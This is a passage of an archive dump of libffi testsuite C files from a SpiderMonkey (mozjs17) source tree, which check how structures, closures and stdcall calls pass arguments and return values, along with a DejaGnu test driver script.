h_dbl = { 8.0, 6.0, 1.0, 4.0, 0.0, 3.0, 3.0, 1.0, 9.0, 2.0, 6.0, 5.0, 3.0, 8.0, 2 }; struct_116byte res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_double; cls_struct_fields[3] = &ffi_type_double; cls_struct_fields[4] = &ffi_type_double; cls_struct_fields[5] = &ffi_type_double; cls_struct_fields[6] = &ffi_type_double; cls_struct_fields[7] = &ffi_type_double; cls_struct_fields[8] = &ffi_type_double; cls_struct_fields[9] = &ffi_type_double; cls_struct_fields[10] = &ffi_type_double; cls_struct_fields[11] = &ffi_type_double; cls_struct_fields[12] = &ffi_type_double; cls_struct_fields[13] = &ffi_type_double; cls_struct_fields[14] = &ffi_type_sint32; cls_struct_fields[15] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = &cls_struct_type; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_116byte_fn), &res_dbl, args_dbl); /* { dg-output "22 15 17 25 6 13 19 18 22 15 17 25 6 26 16" } */ printf("res: %g %g %g %g %g %g %g %g %g %g %g %g %g %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i, res_dbl.j, res_dbl.k, res_dbl.l, res_dbl.m, res_dbl.n, res_dbl.o); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 22 15 17 25 6 26 16" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_116byte_gn, NULL, code) == FFI_OK); res_dbl = ((struct_116byte(*)(struct_116byte, struct_116byte, struct_116byte, struct_116byte))(code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n22 15 17 25 6 13 19 18 22 15 17 25 6 26 16" } */ printf("res: %g %g %g %g %g %g %g %g %g %g %g %g %g %g %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g, res_dbl.h, res_dbl.i, res_dbl.j, res_dbl.k, res_dbl.l, res_dbl.m, res_dbl.n, res_dbl.o); /* { dg-output "\nres: 22 15 17 25 6 13 19 18 22 15 17 25 6 26 16" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct3.c0000664000175000017500000000533412106270662026065 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20030911 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { unsigned long long a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; B B_fn(struct A b0, struct B b1) { struct B result; result.x.a = b0.a + b1.x.a; result.x.b = b0.b + b1.x.b + b1.y; result.y = b0.b + b1.x.b; printf("%d %d %d %d %d: %d %d %d\n", (int)b0.a, b0.b, (int)b1.x.a, b1.x.b, b1.y, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); *(B*)resp = B_fn(b0, b1); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type cls_struct_type, cls_struct_type1; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; struct A e_dbl = { 1LL, 7}; struct B f_dbl = {{12LL , 127}, 99}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_uint64; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B))(code))(e_dbl, f_dbl); /* { dg-output "\n1 7 12 127 99: 13 233 134" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_4byte.c0000664000175000017500000000454312106270662025005 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_4byte { unsigned short a; unsigned short b; } cls_struct_4byte; cls_struct_4byte cls_struct_4byte_fn(struct cls_struct_4byte a1, struct cls_struct_4byte a2) { struct cls_struct_4byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; printf("%d %d %d %d: %d %d\n", a1.a, a1.b, a2.a, a2.b, result.a, result.b); return result; } static void cls_struct_4byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_4byte a1, a2; a1 = *(struct cls_struct_4byte*)(args[0]); a2 = *(struct cls_struct_4byte*)(args[1]); *(cls_struct_4byte*)resp = cls_struct_4byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_4byte g_dbl = { 127, 120 }; struct cls_struct_4byte f_dbl = { 12, 128 }; struct cls_struct_4byte res_dbl; cls_struct_fields[0] = &ffi_type_ushort; cls_struct_fields[1] = &ffi_type_ushort; cls_struct_fields[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_4byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 12 128: 139 248" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 139 248" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_4byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_4byte(*)(cls_struct_4byte, cls_struct_4byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 12 128: 139 248" } */ printf("res: %d %d\n", res_dbl.a, res_dbl.b); /* { dg-output "\nres: 139 248" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_sint16.c0000664000175000017500000000473212106270662026254 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of sint16. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; signed short b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %d %d %d %d %d: %d %d %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_sshort; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/call.exp0000664000175000017500000000241312106270662024374 0ustar sstanglsstangl# Copyright (C) 2003, 2006, 2009 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; see the file COPYING3. If not see # . # libffi testsuite that uses the 'dg.exp' driver. load_lib libffi-dg.exp dg-init libffi-init global srcdir subdir dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cS\]]] "-O0 -W -Wall" "" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cS\]]] "-O2" "" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cS\]]] "-O3" "" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cS\]]] "-Os" "" dg-runtest [lsort [glob -nocomplain $srcdir/$subdir/*.\[cS\]]] "-O2 -fomit-frame-pointer" "" dg-finish # Local Variables: # tcl-indent-level:4 # End: mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct1.c0000664000175000017500000000254012106270662024515 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { unsigned char uc; double d; unsigned int ui; } test_structure_1; static test_structure_1 struct1(test_structure_1 ts) { ts.uc++; ts.d--; ts.ui++; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts1_type; ffi_type *ts1_type_elements[4]; ts1_type.size = 0; ts1_type.alignment = 0; ts1_type.type = FFI_TYPE_STRUCT; ts1_type.elements = ts1_type_elements; ts1_type_elements[0] = &ffi_type_uchar; ts1_type_elements[1] = &ffi_type_double; ts1_type_elements[2] = &ffi_type_uint; ts1_type_elements[3] = NULL; test_structure_1 ts1_arg; /* This is a hack to get a properly aligned result buffer */ test_structure_1 *ts1_result = (test_structure_1 *) malloc (sizeof(test_structure_1)); args[0] = &ts1_type; values[0] = &ts1_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts1_type, args) == FFI_OK); ts1_arg.uc = '\x01'; ts1_arg.d = 3.14159; ts1_arg.ui = 555; ffi_call(&cif, FFI_FN(struct1), ts1_result, values); CHECK(ts1_result->ui == 556); CHECK(ts1_result->d == 3.14159 - 1); free (ts1_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_fn6.c0000664000175000017500000000602312106270662025335 0ustar sstanglsstangl/* Area: closure_call Purpose: Check multiple values passing from different type. Also, exceed the limit of gpr and fpr registers on PowerPC. Limitations: none. PR: PR23404 Originator: 20050830 */ /* { dg-do run } */ #include "ffitest.h" static void closure_test_fn0(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(unsigned long long *)args[0] + (int)(*(unsigned long long *)args[1]) + (int)(*(unsigned long long *)args[2]) + (int)*(unsigned long long *)args[3] + (int)(*(int *)args[4]) + (int)(*(double *)args[5]) + (int)*(double *)args[6] + (int)(*(float *)args[7]) + (int)(*(double *)args[8]) + (int)*(double *)args[9] + (int)(*(int *)args[10]) + (int)(*(float *)args[11]) + (int)*(int *)args[12] + (int)(*(int *)args[13]) + (int)(*(double *)args[14]) + (int)*(double *)args[15] + (intptr_t)userdata; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d\n", (int)*(unsigned long long *)args[0], (int)(*(unsigned long long *)args[1]), (int)(*(unsigned long long *)args[2]), (int)*(unsigned long long *)args[3], (int)(*(int *)args[4]), (int)(*(double *)args[5]), (int)*(double *)args[6], (int)(*(float *)args[7]), (int)(*(double *)args[8]), (int)*(double *)args[9], (int)(*(int *)args[10]), (int)(*(float *)args[11]), (int)*(int *)args[12], (int)(*(int *)args[13]), (int)(*(double *)args[14]), (int)(*(double *)args[15]), (int)(intptr_t)userdata, (int)*(ffi_arg *)resp); } typedef int (*closure_test_type0)(unsigned long long, unsigned long long, unsigned long long, unsigned long long, int, double, double, float, double, double, int, float, int, int, double, double); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int res; cl_arg_types[0] = &ffi_type_uint64; cl_arg_types[1] = &ffi_type_uint64; cl_arg_types[2] = &ffi_type_uint64; cl_arg_types[3] = &ffi_type_uint64; cl_arg_types[4] = &ffi_type_sint; cl_arg_types[5] = &ffi_type_double; cl_arg_types[6] = &ffi_type_double; cl_arg_types[7] = &ffi_type_float; cl_arg_types[8] = &ffi_type_double; cl_arg_types[9] = &ffi_type_double; cl_arg_types[10] = &ffi_type_sint; cl_arg_types[11] = &ffi_type_float; cl_arg_types[12] = &ffi_type_sint; cl_arg_types[13] = &ffi_type_sint; cl_arg_types[14] = &ffi_type_double; cl_arg_types[15] = &ffi_type_double; cl_arg_types[16] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 16, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_fn0, (void *) 3 /* userdata */, code) == FFI_OK); res = (*((closure_test_type0)code)) (1, 2, 3, 4, 127, 429., 7., 8., 9.5, 10., 11, 12., 13, 19, 21., 1.); /* { dg-output "1 2 3 4 127 429 7 8 9 10 11 12 13 19 21 1 3: 680" } */ printf("res: %d\n",res); /* { dg-output "\nres: 680" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_20byte1.c0000664000175000017500000000475512106270662025151 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_20byte { int a; double b; double c; } cls_struct_20byte; cls_struct_20byte cls_struct_20byte_fn(struct cls_struct_20byte a1, struct cls_struct_20byte a2) { struct cls_struct_20byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %g %g %d %g %g: %d %g %g\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_20byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_20byte a1, a2; a1 = *(struct cls_struct_20byte*)(args[0]); a2 = *(struct cls_struct_20byte*)(args[1]); *(cls_struct_20byte*)resp = cls_struct_20byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[3]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[3]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_20byte g_dbl = { 1, 2.0, 3.0 }; struct cls_struct_20byte f_dbl = { 4, 5.0, 7.0 }; struct cls_struct_20byte res_dbl; cls_struct_fields[0] = &ffi_type_sint; cls_struct_fields[1] = &ffi_type_double; cls_struct_fields[2] = &ffi_type_double; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_20byte_fn), &res_dbl, args_dbl); /* { dg-output "1 2 3 4 5 7: 5 7 10" } */ printf("res: %d %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 5 7 10" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_20byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_20byte(*)(cls_struct_20byte, cls_struct_20byte))(code))(g_dbl, f_dbl); /* { dg-output "\n1 2 3 4 5 7: 5 7 10" } */ printf("res: %d %g %g\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 5 7 10" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct8.c0000664000175000017500000000660712106270662026076 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { unsigned long long a; unsigned char b; } A; typedef struct B { struct A x; unsigned char y; } B; typedef struct C { unsigned long long d; unsigned char e; } C; static B B_fn(struct A b2, struct B b3, struct C b4) { struct B result; result.x.a = b2.a + b3.x.a + b4.d; result.x.b = b2.b + b3.x.b + b3.y + b4.e; result.y = b2.b + b3.x.b + b4.e; printf("%d %d %d %d %d %d %d: %d %d %d\n", (int)b2.a, b2.b, (int)b3.x.a, b3.x.b, b3.y, (int)b4.d, b4.e, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; struct C b2; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); b2 = *(struct C*)(args[2]); *(B*)resp = B_fn(b0, b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[4]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type* cls_struct_fields2[3]; ffi_type cls_struct_type, cls_struct_type1, cls_struct_type2; ffi_type* dbl_arg_types[4]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; cls_struct_type2.size = 0; cls_struct_type2.alignment = 0; cls_struct_type2.type = FFI_TYPE_STRUCT; cls_struct_type2.elements = cls_struct_fields2; struct A e_dbl = { 1LL, 7}; struct B f_dbl = {{12LL , 127}, 99}; struct C g_dbl = { 2LL, 9}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_uint64; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; cls_struct_fields2[0] = &ffi_type_uint64; cls_struct_fields2[1] = &ffi_type_uchar; cls_struct_fields2[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = &cls_struct_type2; dbl_arg_types[3] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99 2 9: 15 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B, C))(code))(e_dbl, f_dbl, g_dbl); /* { dg-output "\n1 7 12 127 99 2 9: 15 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/strlen_win32.c0000664000175000017500000000174512106270662025447 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check stdcall strlen call on X86_WIN32 systems. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run { target i?86-*-cygwin* i?86-*-mingw* } } */ #include "ffitest.h" static size_t __attribute__((stdcall)) my_stdcall_strlen(char *s) { return (strlen(s)); } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_arg rint; char *s; args[0] = &ffi_type_pointer; values[0] = (void*) &s; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_STDCALL, 1, &ffi_type_sint, args) == FFI_OK); s = "a"; ffi_call(&cif, FFI_FN(my_stdcall_strlen), &rint, values); CHECK(rint == 1); s = "1234567"; ffi_call(&cif, FFI_FN(my_stdcall_strlen), &rint, values); CHECK(rint == 7); s = "1234567890123456789012345"; ffi_call(&cif, FFI_FN(my_stdcall_strlen), &rint, values); CHECK(rint == 25); printf("stdcall strlen tests passed\n"); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_fl.c0000664000175000017500000000130212106270662025103 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value float. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" static float return_fl(float fl) { return 2 * fl; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; float fl, rfl; args[0] = &ffi_type_float; values[0] = &fl; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_float, args) == FFI_OK); for (fl = -127.0; fl < 127; fl++) { ffi_call(&cif, FFI_FN(return_fl), &rfl, values); printf ("%f vs %f\n", rfl, return_fl(fl)); CHECK(rfl == 2 * fl); } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/closure_stdcall.c0000664000175000017500000000345512106270662026300 0ustar sstanglsstangl/* Area: closure_call (stdcall convention) Purpose: Check handling when caller expects stdcall callee Limitations: none. PR: none. Originator: */ /* { dg-do run { target i?86-*-cygwin* i?86-*-mingw* } } */ #include "ffitest.h" static void closure_test_stdcall(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata) { *(ffi_arg*)resp = (int)*(int *)args[0] + (int)(*(int *)args[1]) + (int)(*(int *)args[2]) + (int)(*(int *)args[3]) + (int)(intptr_t)userdata; printf("%d %d %d %d: %d\n", (int)*(int *)args[0], (int)(*(int *)args[1]), (int)(*(int *)args[2]), (int)(*(int *)args[3]), (int)*(ffi_arg *)resp); } typedef int (__stdcall *closure_test_type0)(int, int, int, int); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[17]; int res; void* sp_pre; void* sp_post; char buf[1024]; cl_arg_types[0] = &ffi_type_uint; cl_arg_types[1] = &ffi_type_uint; cl_arg_types[2] = &ffi_type_uint; cl_arg_types[3] = &ffi_type_uint; cl_arg_types[4] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_STDCALL, 4, &ffi_type_sint, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_stdcall, (void *) 3 /* userdata */, code) == FFI_OK); asm volatile (" movl %%esp,%0" : "=g" (sp_pre)); res = (*(closure_test_type0)code)(0, 1, 2, 3); asm volatile (" movl %%esp,%0" : "=g" (sp_post)); /* { dg-output "0 1 2 3: 9" } */ printf("res: %d\n",res); /* { dg-output "\nres: 9" } */ sprintf(buf, "mismatch: pre=%p vs post=%p", sp_pre, sp_post); printf("stack pointer %s\n", (sp_pre == sp_post ? "match" : buf)); /* { dg-output "\nstack pointer match" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct9.c0000664000175000017500000000657712106270662026105 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { unsigned char a; unsigned long long b; } A; typedef struct B { struct A x; unsigned char y; } B; typedef struct C { unsigned long d; unsigned char e; } C; static B B_fn(struct A b2, struct B b3, struct C b4) { struct B result; result.x.a = b2.a + b3.x.a + b4.d; result.x.b = b2.b + b3.x.b + b3.y + b4.e; result.y = b2.b + b3.x.b + b4.e; printf("%d %d %d %d %d %d %d: %d %d %d\n", b2.a, (int)b2.b, b3.x.a, (int)b3.x.b, b3.y, (int)b4.d, b4.e, result.x.a, (int)result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; struct C b2; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); b2 = *(struct C*)(args[2]); *(B*)resp = B_fn(b0, b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[4]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[3]; ffi_type* cls_struct_fields2[3]; ffi_type cls_struct_type, cls_struct_type1, cls_struct_type2; ffi_type* dbl_arg_types[4]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; cls_struct_type2.size = 0; cls_struct_type2.alignment = 0; cls_struct_type2.type = FFI_TYPE_STRUCT; cls_struct_type2.elements = cls_struct_fields2; struct A e_dbl = { 1, 7LL}; struct B f_dbl = {{12.0 , 127}, 99}; struct C g_dbl = { 2, 9}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uint64; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; cls_struct_fields2[0] = &ffi_type_ulong; cls_struct_fields2[1] = &ffi_type_uchar; cls_struct_fields2[2] = 